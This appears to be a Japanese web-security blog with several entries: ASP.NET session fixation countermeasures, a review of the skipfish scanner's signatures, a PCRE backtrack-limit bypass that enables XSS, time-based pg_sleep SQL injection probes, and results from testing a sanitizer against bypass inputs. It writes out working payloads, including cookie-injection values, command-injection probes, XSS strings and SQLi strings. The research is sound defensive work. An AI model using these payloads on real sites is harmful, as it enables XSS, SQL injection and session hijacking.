これにより、いかなるCookieも持たないサラな状態でSessionRegenerate.aspxにアクセスすることが保証されます。サラな状態でアクセスした場合には、常に新しいセッションが開始されます。

ところで、この方法だとASP.NET_SessionId以外のCookieも禁止されてしまうという弊害があります。本当はASP.NET_SessionIdだけを禁止できればよいのですが、ASP.NETのHttpCookieCollection(Request.Cookies)はそのようなことができないように作られています。

Cookie のコレクションは常に ASP.NET_SessionId の値を持っているため、Cookie が存在するかどうかを単にテストすることはできません。

no title

つまり、例えばFooという名前のCookieがリクエストに存在するかは「Request.Cookies["Foo"]」がnullか調べることで確認できますが、「ASP.NET_SessionId」については同じ方法で確認することができません。

シンプルにする

上のプログラムでは、ユーザIDとパスワードを受け取った後に、MAC(もしくはViewStateなど)を生成して次のページに渡していますが、よくよく考えてみるとそのような面倒なことは不要であることが判ります。

つまり、以下のような処理をすれば、ログイン成功のタイミングでセッションが新たに生成されます。

1. Session.AbandonとCookieを消す処理をしてログインフォームをユーザに返す

2. ログイン処理(ユーザIDとパスワードを受け取り検証する処理)で、

 2-1. Cookieが無い && パスワードが正しければ、セッション変数にユーザIDを入れる

 2-2. そうでなければ1の処理を行う

要は、ASP.NETはSession.Abandonした次のリクエストでセッションを再生成するため、セッションを再生成させたいリクエストよりも1つ手前でSession.Abandonしてやるということです*4

なお注意が必要なのは、これはASP.NETに限ったある種のハックです。PHPやJava(Tomcat)のようにセッションをアトミックに(単一のリクエスト・レスポンスで)再生成する機能を持つプラットフォームを使っているのならば、ログイン成功時にセッションを再生成すれば済む話です。

とりあえずのまとめ

以上、ASP.NETでセッションを再生成する方法について書きました。

まとめると、ASP.NETはまともにセッションを再生成する機能を提供していません。そのため、ASP.NET_SessionIdを使ったログイン状態管理を行う場合には、ダーティーでなおかつ制約のある方法でしかセッション固定対策はできないという結論です。

したがって、基本的にはASP.NETのセッション機構を使用してログイン状態を管理する方式はお勧めできません。

それではどうすればよいかというと、ASP.NETが提供するフォーム認証機構であるFormsAuthenticationをログイン管理に使います。Microsoftも、通常のセッションではなくこれを使うべしと考えています(多分)。

FormsAuthenticationは、通常のセッションID(ASP.NET_SessionId)とは別の認証チケット(Cookie)をログイン成功時に発行し、この認証チケットによってログイン後のユーザの識別を行う仕組みです。これらの処理はアプリ側の作りこみをほとんどせずに利用できます。この仕組みを使うならば、セッション固定によるなりすましを避けるために、無理やりにセッションIDを変更する必要もありません。

私自身はFormsAuthenticationは自由が利かずに使いづらいと思っていましたが、よくよく調べてみるとそうでもありませんでした。IDとパスワードの検証は自作のメソッドで行って、認証チケットの発行とそのデコードの仕組みだけをアプリから利用することもできますし、Cookieが使えないデバイスにも対応できるようになっています。

ただし、FormsAuthenticationを使えばセッションに関わる問題が全て解決するかというと、実はそうではありません。セッションIDと認証チケットを分離しているアプリの注意点については、またあらためて書きたいと思います。

補足:Cookieの固定化

今日の日記は、他人のブラウザに対してCookieを固定化できることを前提として書いています。

Cookieの固定化はブラウザ側(FirefoxやSafari)でCookie Monster対策が進められてきており、以前よりもリスクは減っていると思います。

とはいっても、少なくともHTTPSを使うサイトや地域型JPドメインを使うサイトでは、現実的な問題ととらえて対処すべきだと思います。

その理由について少し補足すると、まずHTTPSのサイトは攻撃者が通信経路にいても安全であることが期待されます。仮に攻撃者が通信経路にいるならば、対象サイトへのHTTPの(HTTPSではない)リクエストを被害者のブラウザに発行させて、Set-Cookieヘッダを付けたレスポンスを勝手に返すことで、被害者のブラウザに好きなCookieを植えつけることができます。

また地域型JPドメインについては、IEはバージョン8になった現在でもtokyo.jp等ドメインへのCookieの発行を許すCookie Monsterバグを持っています。

補足:Microsoftへの機能追加要望

本日の日記に書いた、ASP.NETでまともにセッション再生成ができない問題は以前から知られています。Microsoft Connectには、セッション再生成機能を追加する要望が出されてもいます。

参考:Error

ですが、このページを見る限りMicrosoftに機能追加の意思はないようです。「ログインではFormsAuthenticationを使え、フォームではViewStateを使え」ということなのかもしれませんが、それならばセッションは何のためにあるんだ?という疑問がわいてきます。

Microsoft Connectには、機能追加やバグ修正要望に対して、他人が賛成・反対票を投じる機能がありますので、この機能追加要望に賛成票を投じておきました。

補足:ASP.NETのバージョン

ASP.NETのバージョン2(2.0.50727)で検証しています。

*1:私自身は検証していませんが、JBossではセッションIDの値が変わらない実装がされているとの話もあります。
afongen » Generate new session ID in Java EE?

*2:ただし、AdoptionされるのはCookieを使う場合だけで、URLにセッションIDを埋め込む方式を選択した場合には、無効なセッションIDを受け入れない設定であるregenerateExpiredSessionIdが有効になります。このあたりは、HttpSessionState.IsCookieless プロパティ (System.Web.SessionState)で背景を含めて説明されています。

*3Set-Cookie: a="1;ASP.NET_SessionId=qftslj3ooxlf5j552jly2p55;b=1"; path=/のようなCookieを植えつけておく手もあります。ブラウザ(Firefox)にとっては、これはaという名前の1つのCookieですが、Cookieヘッダでこれを受け取ったASP.NETは3つのCookieであると解釈します。

*4:ただしURLにセッションIDを埋め込む方式の場合、この手は使えません。Session.Abandonした次のリクエストでは新たなセッションIDを埋め込んだURLに302でリダイレクトさせる応答が返るため、POSTで送ったユーザIDとパスワードの情報が失われるためです。

2010-04-10

[]skipfishをためす 17:22 skipfishをためすを含むブックマーク

Googleから新しい検査ツールが出たとのことで、中身を見てみました。

Google Code Archive - Long-term storage for Google Code Project Hosting.

ツールの作者はRatproxyと同じくMichał Zalewski氏ですが、今回のツールはRatproxyとは違って"Active"な検査ツールです。

最新版のVersion 1.29ベータをダウンロードして使ってみました。

シグネチャと検査結果

こちらのページを参考にしてダウンロード・インストールしました。

skipfishインストールメモ | 俺のメモ

プログラムはC言語で書かれており、ヘッダファイルを含めて10KL程度の規模です。

インストール後にツールを起動すると、開始点として指定したページからリンクをたどって自動的に検査してくれます。検査が終わるとHTMLのレポートを出力してくれます。

私が検査対象としたアプリは、Oracleデータベースを操作する20個くらいのServletで、そのすべてにSQL Injection脆弱性があります。

検査は起動後4〜5分程で終了しました。この間にツールが送信したHTTPリクエストは10万を超えており、たかだか20個ほどのServletに対する検査としては多すぎます。実は、skipfishにはWebサーバのディレクトリやファイルを辞書探索して検査対象を見つけ出す機能があり、リクエストの大半はそこに費やされていました。

SQL Injectionについて

SQL Injectionについては、20個ほどのアプリのうちツールで検出できたのは2個だけでした。この2個はいずれもSELECT文のWHERE句の数値リテラルにインジェクションするタイプのものです。この2個のうち1つはBlindタイプ(=SQLエラーメッセージがHTMLに出ないもの)です。

数値リテラル以外はどうかというと、文字列リテラルや「ORDER BY」等にインジェクションするものは、SQLエラーがHTMLに出力されるものを含めて検出されませんでした。

理由を探るべくログやソースコードを見てみたところ、SQLインジェクションはBlind的な判定しか行っておらず、さらに文字列リテラルの検査としては以下の3つのパターンしかないことが判りました。

0:  \'\"
1:  '"
2:  \\'\\"

判定は「0の応答≠1の応答 かつ 0の応答≠2の応答」の場合にPositiveとしています。文字列リテラルのエスケープに「\」が使用可能なデータベース(基本的にMySQLと一部のPostgres)を念頭にシグネチャが作られていることが判ります。

なので、それ以外のデータベースの文字列リテラルへのインジェクションは検出できません。また、MySQL用の検査パターンとしても少々物足りない感じです。

それ以外の検査パターン

検査パターンは「crawler.c」ファイルに書かれています。このファイルをみると判りますが、Blind方式で様々な脆弱性を検出するように作られています。

そのうち、わかりやすいものをいくつか挙げます。

OSコマンドインジェクション

バッククォートを使ってコマンドを動かし、Blind的な判定を行います。

0:  `true`
1:  `false`
2:  `uname`

3:  "`true`"
4:  "`false`"
5:  "`uname`"

6:  '`true`'
7:  '`false`'
8:  '`uname`'

「0の応答≒1の応答 かつ 0の応答≠2の応答」の場合にPositiveと判定しています。3〜5、6〜8も同様の判定を行っています。

明示的にShellをたたいて、その結果をHTMLに出力しているようなアプリについては、このパターンで検出できそうです。しかし、そうでないケース(=このアプローチでは検出できないケース)はかなりあると思います。

また、3〜5のパターンは「"」の内側にインジェクションするケースを想定しているのだと思いますが、その場合には0〜2で検出できるので不要な気がします。

OGNL Statement Excecution

これは、おそらくStruts2(XWork)のOGNL文実行の脆弱性(no title[WW-2030] User input is evaluated as an OGNL expression - ASF JIRA、他)を意識したものだと思います。

おおざっぱに言うと、skipfishは以下のようにパラメータ名・値を変化させて、「0の応答≒1の応答」の場合にPositiveと判定しています。

0:  foobar=123
1:  [0]['foobar']=123

しかし、これだけだとOGNL likeなパラメータハンドリングがされていることはわかっても、本当に脆弱性があるかどうかまではわかりません。

ちなみに、struts2の脆弱性は、パラメータ名の処理だけではなく値の処理の方にもありました。そちら(値の処理の脆弱性)を利用する方が確実にコマンドの実行を判定できるので、私の自作ツールではそのようなシグネチャを使っています。

おわりに

今回は網羅的に調べたわけではありませんが、まだ試作段階のツールといった感じを受けました。

しかし、セールスポイントである"高速性"については宣伝通りです。localhostの80ポートに対する検査とはいえ、4〜5分のうちに10万を超えるリクエストを発行する能力はすごいです。その能力は、上述したサーバ上のディレクトリやファイルを辞書探索する機能で活かされています。

また、ドキュメント(Google Code Archive - Long-term storage for Google Code Project Hosting.)をみると、Ratproxyと同じくXSSやJavaScript/JSON関係は色々と検査してくれるようです。今回はその辺は全く見てませんが、突っ込んでみてみると面白いかもしれません。

[]マッチするはずの正規表現がマッチしない現象 16:47 マッチするはずの正規表現がマッチしない現象を含むブックマーク

今日は、PHPでよく使用される正規表現エンジンであるPCRE(Perl Compatible Regular Expression)の、余り知られていない(と思う)制約について書きます。

プログラム

題材は下のPHPプログラムです。

<?php
header('Content-Type: text/html; charset=latin1');

$url = $_REQUEST['url'];

if (preg_match('/^(.*?):/s', $url, $match)) {
    $scheme = $match[1];
    if ($scheme !== 'http' && $scheme !== 'https') {
        exit;
    }
}

echo '<a href="'. htmlspecialchars($url). '">link</a>';

外部から受け取った「url」パラメータを、A要素のhref属性値に出力するプログラムです。HTMLに出力する際に、htmlspecialchars()によるエスケープをしています。また、URLにスキームが付いている場合には、スキームがhttp・httpsのいずれかであるかチェックして、そうでない場合はexitします。

このプログラムのロジックはあまりスマートではありませんが、少なくともXSS攻撃に対して安全なように見えます。私自身も、少し前まではそう思っていました。ところが実際には「ある方法」を使うことで、このプログラムのチェックは回避されてしまいます。

DOTALLオプション

上の「ある方法」についての話からはそれますが、この手の正規表現で比較的多いであろう間違い(私自身も実際に何件か遭遇したことがある間違いです)について書きます。

その間違いとは「.」が全文字にマッチすることを期待していながら「DOTALL」オプションをつけ忘れるというものです。DOTALLがないと「.」は改行文字(PCREでは基本的にU+000A)にマッチしないため、下のような値を与えるとチェックをすりぬけることができます。

url=[0x0A]javascript:alert(111)

しかし、冒頭のプログラムの正規表現にはs修飾子(DOTALL)がついているため、この手は使えません。攻略するには別の方法をとらなければなりません。

PCREの上限値

話が脇にそれましたが、ここから本題です。

実は冒頭のプログラムは、以下のPHP設定の上限値を悪用することで攻略できます。

名前 デフォルト 変更の可否 変更履歴
pcre.backtrack_limit "100000" PHP_INI_ALL PHP 5.2.0 以降で使用可能
pcre.recursion_limit "100000" PHP_INI_ALL PHP 5.2.0 以降で使用可能

(省略)

pcre.backtrack_limit integer

PCRE のバックトラック処理の制限値です。

pcre.recursion_limit integer

PCRE の再帰処理の制限値です。この値を大きくすると、 使用可能なプロセススタックを使い切ってしまい、 (OS のスタックサイズの制限値に達して) PHP をクラッシュさせてしまうことに注意しましょう。

PHP: 実行時設定 - Manual

実行時にこれらの上限を超えてしまうと何が起こるかというと、preg_match関数は「マッチしなかった」ときと同じく「0」を返します(preg_replace関数の場合は、上限を超えるとNULLを返します)。

冒頭のプログラムは、正規表現にマッチしない値は「安全」とみなすロジックになっています。このため上限を超えるような値を与えて本来はマッチするもののマッチを失敗させることで、攻撃を成功させることができます。

具体的には、設定値がデフォルト(100,000)から変更されていない場合、以下の文字列を与えてやればXSS攻撃が成功します。

Firefox:
 url=(100,000個の[0x0A])javascript:alert(123)

IE:
 url=javas(100,000個の[0x00])cript:alert(123)

対策

冒頭のような単純なチェックであれば、正規表現を使わずに、より高速に動作するコードを書くことができます。しかし、ここではPCREを使うことを前提にした対策を書きます。

根本的な対策

上限値を超えたり、PCRE内で何かエラーが発生した場合、そのエラーコードはpreg_last_error関数で取得できます。バックトラックなどの上限に到達したことも、この関数で知ることができます。

これを利用して、下のコードのようにPCREのエラーを拾うことで、この種の攻撃を防ぐことができます。

<?php
if (preg_match('/^(.*?):/s', $url, $match)) {
    (省略)
}
elseif (preg_last_error() !== PREG_NO_ERROR) {
    exit;
}

もしくは、セキュリティに関わるチェックをPCREで行う場合は、マッチに失敗しうることを前提としたフローにするという対策もあります。要は「マッチしない場合はチェックOK」のフローはダメということです。

他の対策

他にも対策は考えられます。

  • 入力値の長さを制限する AND/OR 設定を変更して上限値を大きくする
    設定の上限値を大きくしても上限がなくなるわけではないことに注意が必要です。また、入力値の長さ制限も、どこまで制限すればよいのかの判断は難しいです。例えば、マッチ対象の文字列を100文字に制限しても、パターン次第では100回以上バックトラックが起こることがあります。
  • バックトラックや再帰処理が発生しにくいパターンにする
    例えば、冒頭のプログラムの場合、パターンを「/^([^:]*?):/s」にすればバックトラックの回数は大幅に減りました。ただ、ある正規表現が十分に効率的なものなのかを判断するには、正規表現エンジンについてのそれなりの知識が必要だと思います(私自身には無理です)。

この2つの対策は、それを実践したり、本当に正しく実践されているかの確認が難しいところがあります。ですので、あくまでも保険的な対策と考えるのがよいと思います。

上限値が存在する理由

実はバックトラックや再帰処理の上限値は、PHP固有のものではなく、PCREライブラリにもともと存在している設定項目です。PHPの設定値は、PHPからPCREライブラリを使う際の上限値をPCREにセットしているだけです。

したがって、PCREライブラリを使う全てのアプリケーションは、(PHPとは無関係のものであっても)PCREの上限値の影響を受けます。ちなみに、PCREライブラリ自体のデフォルトの上限値は、いずれも10,000,000です。PHPでPCREを使う際のデフォルト値よりも2ケタ大きい値となっており、PHPよりも影響は受けにくいのは確かですが、それでも上限値は存在します。

それでは、なぜこのような設定項目がPCREに存在するのかということですが、これはパターンを細工してマシンに過剰な負荷をかけさせたり、エンジンのバグを突くような攻撃の影響を軽減するためのセキュリティ機能だと思います。

なお、PHP(5.2以降)では、前述のようにPCREのデフォルトよりも2ケタ小さい上限値(100,000)が使われますが、この上限値はPCREがリソースを食いつぶすバグの影響を軽減するために導入された可能性があります。

参考:PHP :: Bug #40909 :: Segmentation Fault with preg_match_all

PCRE以外のエンジン

ちなみに、このような上限が実装されているのはPCREだけではないようです。試してませんが、Perlの正規表現エンジンも、以下のようなWarningを吐くことがあるようです。

参考:Complex regular subexpression recursion limit - Google ????

それ以外の正規表現エンジンについては、軽くググってみたものの、上限が存在するものを見つけることはできませんでした。

テストした環境

PHP5.3.2+PCRE 8.00の環境で試しています。

2009-11-05

[]pg_sleepを使った検査 23:21 pg_sleepを使った検査を含むブックマーク

徳丸さんの日記(pg_sleepをSQLインジェクション検査に応用する - ockeghem(徳丸浩)の日記)を読みました。

こういう検査のマニアックな話は大好きです。

このあたりのシグネチャは、私も自作ツール(参考)の検討をしていた際に相当いろいろ悩んで調べましたので、今回はUPDATE文のSET句などにも適用できるような改善の提案をしたいと思います(おろらく既に徳丸さんの頭にあるものだとは思いますが)。

徳丸さんの日記の検査パターンは、以下の値を挿入するものでした。

' and cast( (select pg_sleep(3)) as varchar) = '

これを少し変えて、以下のようにします。

<文字列型>
【元の値】'||(select pg_sleep(3))||'

数値型であれば、以下のようにします。

<数値型>
【元の値】-cast(chr(48)||(select pg_sleep(3)) as int)

上の二つはいずれも「AND」などを使っていないため、SELECT以外の文(UPDATEのSET句やINSERTのVALUES句)や、IN ('foo','bar')のような箇所にインジェクションするケースにも適用可能です。

なお、SQLのブロックコマンドを使うトリッキーな方法を用いると、いっぺんに文字列/数値型の両方に対応した検査ができます。

<文字列/数値型 両方対応>
【元の値】/*'||(select pg_sleep(3))||'*/-cast(chr(48)||(select pg_sleep(3)) as int)

ちょっと長いので、アプリの長さチェックなどに引っかかる可能性が増えるのが難点です。

****

しかしいろいろ考えた挙句、自作ツールにはこれらのシグネチャは組み込みませんでした。その理由はいくつかありますが、一番大きい理由は「postgres(しかもv8.2以上)を使っているサイトが(相対的に)少ない」ということです*1

見方を変えると、postgres8.2以上を使っていることがはじめから判っているサイトを検査する状況においては、pg_sleepを使った検査手法も有効なのだろうと思います。

余談ですが、pg_sleepはワイルドな攻撃では実際に使われているようです。google検索の結果には、pg_sleepを使った攻撃の痕跡と思われる不自然なURLが残っています。

http://www.google.co.jp/search?q=inurl%3Apg_sleep&lr=

以前google検索した時には、もう少し多くの攻撃の痕跡が見つかったような記憶があります。調べてませんが、何かの攻撃ツール(もしくは検査ツール)がpg_sleepを使っているのかもしれません。

*1:自作ツールにはOracle用のTime delay系のシグネチャだけを入れました。

2009-10-19

[]htmlspecialchars()/htmlentities()について 23:34 htmlspecialchars()/htmlentities()についてを含むブックマーク

id:t_komuraさんの、最新の PHP スナップショットでの htmlspecialchars()/htmlentities() の修正内容についてを読みました。

見ていて気になったことが1つあります。

2. EUC-JP

…(省略)…

 (2) \x80 - \x8d, \x90 - \xa0, \xff については、そのまま出力される

<?php
var_dump( bin2hex( htmlspecialchars( "\x80", ENT_QUOTES, "EUC-JP" ) ) );
var_dump( bin2hex( htmlspecialchars( "\x8d", ENT_QUOTES, "EUC-JP" ) ) );
var_dump( bin2hex( htmlspecialchars( "\x90", ENT_QUOTES, "EUC-JP" ) ) );
var_dump( bin2hex( htmlspecialchars( "\xa0", ENT_QUOTES, "EUC-JP" ) ) );
var_dump( bin2hex( htmlspecialchars( "\xff", ENT_QUOTES, "EUC-JP" ) ) );

PHP 5.3.0 / PHP 5.2.11 の結果です。

string(2) "80"
string(2) "8d"
string(2) "90"
string(2) "a0"
string(2) "ff"

修正後(最新のスナップショット)の結果です。これらの文字列については変更ありません。

string(2) "80"
string(2) "8d"
string(2) "90"
string(2) "a0"
string(2) "ff"

この挙動は、一部のブラウザにおいて問題になると思われます。

というのも、実は一部のブラウザにおいては、本来のEUC-JPの先行バイトである「\x8e, \x8f, \xa1 - \xfe」以外のバイトでも、後続の文字を食いつぶす現象が発生するからです。

少し古い情報ですが、Bypassing script filters via variable-width encodingsに、ブラウザごとに後続の文字を食いつぶすバイトが書かれています。

 +-----------+-----------+-----------+-----------+
 |           | IE        | FF        | OP        |
 +-----------+-----------+-----------+-----------+
 | UTF-8     | 0xC0-0xFF | none      | none      |
 +-----------+-----------+-----------+-----------+
 | GB2312    | 0x81-0xFE | none      | 0x81-0xFE |
 +-----------+-----------+-----------+-----------+
 | GB18030   | none      | none      | 0x81-0xFE |
 +-----------+-----------+-----------+-----------+
 | BIG5      | 0x81-0xFE | none      | 0x81-0xFE |
 +-----------+-----------+-----------+-----------+
 | EUC-KR    | 0x81-0xFE | none      | 0x81-0xFE |
 +-----------+-----------+-----------+-----------+
 | EUC-JP    | 0x81-0x8D | 0x8F      | 0x8E      |
 |           | 0x8F-0x9F |           | 0x8F      |
 |           | 0xA1-0xFE |           | 0xA1-0xFE |
 +-----------+-----------+-----------+-----------+
 | SHIFT_JIS | 0x81-0x9F | 0x81-0x9F | 0x81-0x9F |
 |           | 0xE0-0xFC | 0xE0-0xFC | 0xE0-0xFC |
 +-----------+-----------+-----------+-----------+

上表の赤字箇所をみると、IE(IE6)はEUC-JPの「\x8e, \x8f, \xa1 - \xfe」以外のバイトである「\x81 - \x8d, \x90 - \x9f」でも後続の文字を食いつぶすことが分かります。上の表は2006年の情報で少々古いのですが、私が3〜4ヶ月前にIE6/IE7で試した時も、上表と同じ結果になりました。

ですので、IE&EUC-JPの場合、id:t_komuraさんの日記で説明されている最新版のhtmlspecialchars()でエスケープを行ったとしても、後続の文字を食いつぶす攻撃を防げない(場合がある)、ということになります。

****

ところで、上の現象が起こるのはIEだけです。IEでそのような現象が起こる理由は、本題ではないので割愛します。また、IE側が異常(脆弱)であるという捉え方もありますが、ここではひとまずIE側の話はおいておきます。

htmlspecialchars()側としてどうなのかを考えると、どうせ文字チェックをするのであれば「\x8e, \x8f, \xa1 - \xfe」だけをはじくという、ある種のブラックリスト的な方法ではなく、いっそのこと「EUC-JPとして正常なシーケンスしか出力しない」というホワイトリスト的なアプローチをとることができないものだろうかと思います。

ホワイトリスト的な方法にもいくつかのレベルがありますが、比較的シンプルなのは、以下のようなラフな正規表現(Perl風)にマッチしないものをinvalidだとみなす方法です。

\A([\x00-\x7f]|(\x8F?[\xA1-\xFE]|\x8E)[\xA1-\xFE])*\Z

さらにホワイトリスト的なアプローチを突き詰めると、文字集合の話が出てきます。例えば、機種依存文字やユーザ定義文字(絵文字など)をどうするか、あるいはIEが解釈できない補助漢字などの3バイト文字をどうするかのような話です。

理想を言えば、htmlspecialchars()が、通常のEUC-JPに加えて、一般的に使われる亜種コード(eucjp-win, CP51932)もサポートした上で、文字集合のチェックまで実施するのが望ましいと思います(PHPマニュアルによると、現状のhtmlspecialchars()は、eucjp-winやCP51932といった文字コードをサポートしていません)。

hoshikuzuhoshikuzu 2009/11/12 14:25 レガシーな場合に、文字集合のサブセットだけで運用することが望ましい、それについては、ISO-2022-JPもEUC-JPも、第一水準および第二水準を基準とし、Shift_JISでは、それに相応するサブセットを考えるアプローチ、を以前に拝読させていただいた記憶があります。たしか、PHPによるコード事例(実装レベルで)もあったような気がいたします。有益な記事ですので、機が熟しましたら復活をお願いしたいところです。

2009-09-23

[]Anti-XSS Library v3.1を試す 15:42 Anti-XSS Library v3.1を試すを含むブックマーク

Anti-XSSライブラリのV3.1から、GetSafeHtml()やGetSafeHtmlFragment()といったスタティックメソッドが用意されました。これらのメソッドは、入力として与えられたHTMLやHTML断片から、JavaScriptを除去するためのものです。

(参考)HTML Sanitization in Anti-XSS Library – Security Tools

今回は、HTML断片を処理するGetSafeHtmlFragmentメソッドを試してみました。

挙動を見る限り、タグ/属性に加えてCSSもホワイトリストベースで処理されます。かなり出来がよいライブラリです。IE8のtoStaticHTML関数がいまいちだったので(参考)、余り期待していませんでしたが、少なくともtoStaticHTMLよりもはるかによいです。

ただ現時点で実際のサイトに適用するうえでは問題もあります。ライブラリに関する情報量が少なく、どのようなタグや属性がホワイトリストに載っているのかが分かりません。また、許可するタグなどをカスタマイズする方法も分かりませんでした。ホワイトリストのカスタマイズは、類似のライブラリの多くに用意されている機能であり、それがないとしたら実用性の面で問題となるでしょう。

以下はメモです。網羅的なものではありませんが、参考まで載せておきます。

<要素の内容>
入力1:<b><&#x30;&#x3C;&#x3042;</b>
出力1:<b>&lt;0&lt;あ</b>

要素内容の文字参照はデコードされ、再びエンコードされる。

<属性値>
入力1:<img alt=111 alt='222' alt=3"'4&<&lt;>
出力1:<img alt="111" alt="222" alt="3&quot;'4&amp;&lt;&lt;">

属性値は無条件にダブルクォートで括られる。文字参照はデコードされ、再びエンコードされる。

<NULL文字>
入力1:<b>111[NULL]222&#0;333</b>
出力1:<b>111222&amp;#0;333</b>

要素内容のNULL文字は削除される。「&#0;」は「&amp;#0;」になる。

<不明な要素/属性>
入力1:<ab>111</ab>
出力1:111

入力2:<b ida="1">222</b>
出力2:<b>222</b>

ホワイトリストにない要素や属性は除去される。本当は、どのような要素や属性がホワイトリストに載っているかが重要だが、今回は検証に時間がかかるので調べていない。

<壊れた要素/属性>
入力1:<b id="3"
出力1:&lt;b id=&quot;3&quot;

入力2:<b id="3>
出力2:&lt;b id=&quot;3&gt; 

入力3:<p>111
出力3:<p>111 </p>

入力4:<b/title="1">222</b>
出力4:<b title="1">222</b>

入力5:<b title!#$%&="111">222</b>
出力5:<b>222</b>

入力6:<img """>111
出力6:<img>111

入力7:<p <s>111</s>
出力7:<p>111</p>

入力8:<style>
出力8:<style></style>
    <div></div>

HTMLはParseされ再構築される。なぜか、空のstyle要素の後にdivが付く。

<HTMLコメント>
入力1:111<!-- 222 -->333
出力1:111333

入力2:<!--[if gt IE 4]>111<![endif]-->222
出力2:222

HTMLコメントは除去される。

<特殊な構文>
入力1:<b><![CDATA[111]]>222</b>
出力1:<b>222</b>

入力2:<?import><?xml version="1.0"?>111
出力2:111

CDATAセクションなどは解釈されず、除去される。

<URI属性>
入力1:<img src="http://example.com/">
出力1:<img src="http://example.com/">

入力2:<img dynsrc="httpxxx&#x3A;//example.com/">
出力2:<img dynsrc="">

入力3:<img dynsrc="&#x1;ho&#xD;ge://example.com/">
出力3:<img dynsrc="">

入力4:<img src="data:image/gif;base64,R0lGODdhAQABAIABAAAAAP///ywAAAAAAQABAAACAkQBADs=">
出力4:<img src="">

入力5:<img src="./hoge:xxx">
出力5:<img src="./hoge:xxx">

URI属性のスキームはホワイトリストで処理されている模様。

<壊れた文字参照>
入力1:<b>&#1112322343423;&hoge;</b>
出力1:<b>&amp;#1112322343423;&amp;hoge;</b>

入力2:<b>&#xD800;</b>
出力2:<b>[0xEFBFBD]</b>  (=U+FFFD。UTF-8出力の場合)

入力3:<b>&#x000030;&#x000000030;</b>
出力3:<b>0&amp;#x000000030;</b>

デコードできない文字参照は、「&」がエンコードされるかU+FFFD(Replacement Character)になる。

<ID属性>
入力1:<b id="aaa">111</b>
出力1:<b id="x_aaa">111</b>

入力2:<style>.aaa {color: red;}</style>
出力2:<style>
    <!--
    .x_aaa
    	{color:red}
    -->
    </style>
    <div></div>

ID属性は頭に「x_」を付けられる模様。CSSセレクタのIDも同じ。

<CSS 不明なプロパティ/値>
入力1:<b style="hoge: 1px;">111</b>
出力1:<b style="">111</b>

入力2:<b style="width: aaa; color: red;">111</b>
出力2:<b style="width:aaa; color:red">111</b>

入力3:<b style="width: aaa(); color: red;">111</b>
出力3:<b style="color:red">111</b>

入力4:<b style="color: hoge;">111</b>
出力4:<b style="color:hoge">111</b>

入力5:<b style="color: $red">111</b>
出力5:<b style="">111</b>

プロパティにはホワイトリストが適用されるようで、不明なプロパティは削除される。ただし、値のチェックはそれほど厳密ではなく、「color:hoge」や「width:aaa」は通る。しかし、「color:$red」や「width: aaa()」のようなものは削除される。

<CSS バックスラッシュエンコード>
入力1:<b style="colo\0072: re\0064;">111</b>
出力1:<b style="color:re\0064">111</b>

CSSプロパティの「\」エンコードはデコードされる。

<CSS コメント>
入力1:<b style="color/* yyy */: red;">111</b>
出力1:<b style="color: red">111</b>

入力2:<b style="color: re/*xxx*/d;">111</b>
出力2:<b style="color:red">111</b>

入力3:<b style="font-family: '/* xxx */ hoge';">111</b>
出力3:<b style="font-family:'/* xxx */ hoge'">111</b>

CSSコメントは除去される。ただし、「'」で括られた文字列リテラルは理解しているようで、文字列リテラル内のコメントは除去されない。

<CSS 文字列リテラル内のバックスラッシュ>
入力1:<b style="font-family: '\\\';">111</b>
出力1:<b style="">111</b>

入力2:<b style="font-family: '\\\\';">111</b>
出力2:<b style="font-family:'\\\\'">111</b>

入力3:<b style="font-family: '&#xA5;';">111</b>
出力3:<b style="font-family:'?'">111</b>   (=Shift_JIS出力の場合)

かつてのhtmlpuriferは、CSSの「'」で括られた文字列リテラル内で「\」や「U+00A5」を使うことでXSSできたので、同じことを試してみる(http://htmlpurifier.org/svnroot/htmlpurifier/tags/3.1.1/NEWS)。

入力1,2をみると、文字列リテラル内の「\」によるエスケープを解釈していることが分かる。入力3では「U+00A5」を使って「'」からの脱出を試みているが、ASP.NETで「responseEncoding="shift-jis"」にした場合、「U+00A5」は「?」に変換されるので、攻撃に失敗する模様(設定によっては攻撃に成功するかもしれないが、よく分からない)。

<CSS 文字列リテラルやセレクタ内の特殊記号>
入力1:<b style="font-family: 'expression(alert(1))';">111</b>
出力1:<b style="font-family:'expression(alert(1))'">111</b>

入力2:<b style="font-family: '</あ&';">111</b>
出力2:<b style="font-family:'\3C /あ&amp;'">111</b>

入力3:<style>.aaa\30 {font-family: '</あ&-->';}</style>
出力3:<style>
    <!--
    .x_aaa\30 
    	{font-family:'\3C /あ&--\3E '}
    -->
    </style>
    <div></div>

入力4:<style>.aaa>.bbb {font-family: monospace;}</style>
出力4:<style>
    <!--
    .x_aaa > .x_bbb
    	{font-family:monospace}
    -->
    </style>
    <div></div>

文字列リテラル内では「(」「)」が使える。文字列リテラル内の「<」「>」はバックスラッシュによりエンコードされる。セレクタの「>」はエンコードされない。

<CSS その他>
入力1:<style>@import 'http://example.com/';</style>
出力1:<style>
    <!--
    -->
    </style>
    <div></div>

入力2:<style>@\69 mp\ort '//example.com/';</style>
出力2:(出力1と同じ)

入力3:<p style="background-image: url('http://example.com/');">111</p>
出力3:<p style="">111</p>

入力4:<p style="background-image: url\28'//example.com/'&#x5C;29;">111</p>
出力4:<p style="">111</p>

@import規則は使えない。url()も使えないようになっている。

2009-08-08

[]勉強会参加 23:30 勉強会参加を含むブックマーク

わんくまっちゃ445同盟 featuring Silverlight Square

本日は、Silverlight関連の話が2/3、セキュリティ関連が1/3くらいでした。

Silverlight関連で特に印象に残っているのは「AMF Messaging with Silverlight」「クライアントでもサーバーでもC#!」「Silverlightと業務アプリ」の3つです。どちらかというと、開発者向けの実践的な内容でしたが、Silverlightでは「Hello World」くらいしかやったことがない私でも(ディテールはともかく)エッセンスを理解できました。

ところで、過去に一度だけSilverlightを使っているアプリの検査をしたことがありますが、そのときは基本的にサーバ側のアプリの脆弱性(SQL Injectionなど)がないかという観点でつついていきました。なにかSilverlightに特有のセキュリティ面での注意点があるのか、懇親会で聞いてみたかったので、懇親会に出れなかったのが残念です*1。時間があるときに、自分でも調べたいと思います。

セキュリティについては、徳丸さんが「セキュア開発プロセスとウェブ健康診断仕様の応用」というタイトルでお話しされました。Webアプリのリスク分析、セキュリティ要件や脆弱性対策のとらえ方など、私自身の考えと大きな違いがなかったこともあって、自分の考えを整理するのに役に立ちました。

というわけで、まっちゃさんをはじめ、関係者の皆様、どうもありがとうございました。

